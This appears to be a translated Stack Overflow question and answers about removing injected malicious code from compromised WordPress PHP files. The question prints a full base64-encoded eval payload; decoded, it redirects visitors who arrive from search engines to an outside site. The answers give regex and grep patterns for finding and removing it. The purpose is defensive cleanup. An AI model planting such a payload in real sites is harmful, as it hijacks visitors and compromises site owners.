使用grep从Wordpress php文件中删除恶意代码

时间:2013-01-15 21:02:42

标签: php regex windows wordpress virus

所以基本上没有更新的WordPress网站受到了损害。我已经下载了文件,确定了被感染者,并且找到了一种模式。

在文件的顶部有如下代码

eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmICghc3RyaXN0cigkdWFnLCJNU0lFIDcuMCIpIGFuZCAhc3RyaXN0cigkdWFnLCJNU0lFIDYuMCIpKXsKaWYgKHN0cmlzdHIoJHJlZmVyZXIsInlhaG9vIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYmluZyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsInJhbWJsZXIiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJsaXZlLmNvbSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIndlYmFsdGEiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJiaXQubHkiKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJ0aW55dXJsLmNvbSIpIG9yIHByZWdfbWF0Y2goIi95YW5kZXhcLnJ1XC95YW5kc2VhcmNoXD8oLio/KVwmbHJcPS8iLCRyZWZlcmVyKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/c2EvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20vbCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImFvbC5jb20iKSkgew0KaWYgKCFzdHJpc3RyKCRyZWZlcmVyLCJjYWNoZSIpIG9yICFzdHJpc3RyKCRyZWZlcmVyLCJpbnVybCIpKXsNCmhlYWRlcigiTG9jYXRpb246IGh0dHA6Ly93a3BiLjI1dS5jb20vIik7DQpleGl0KCk7DQp9Cn0KfQ0KfQ0KfQ=="));

或者附近有不同角色的东西。

我正在使用grepWin从几百个PHP文件中删除代码。我可以使用哪种正则表达式代码删除以eval(base64_decode(开头的代码,后跟长行文本,以"));结尾。对于某些文件,其间的文本不同。

[注意 - 我上面使用的代码缩短了,不想触发任何带有可疑代码的病毒保护程序]

2 个答案:

答案 0 :(得分:0)

匹配的正则表达式如下:

/eval\(base64_decode\("[^\)]+\)\)\;/

使用WinGrep时,请使用此字符串。 Windows grep不喜欢周围的斜杠。

eval\(base64_decode\("[^\)]+\)\)\;

然后用空字符串替换。 Grep通常不会提供此替换功能,但我注意到您说您使用的是WinGrep,它确实提供了全局替换功能。

答案 1 :(得分:0)

以下grep命令可能有助于查找此类文件:

grep -R return.*base64_decode  .

或:

grep --include=\*.php -rn 'return.*base64_decode($v.\{6\})' .

但是您应该使用特殊的扫描仪,请参阅:PHP security scanner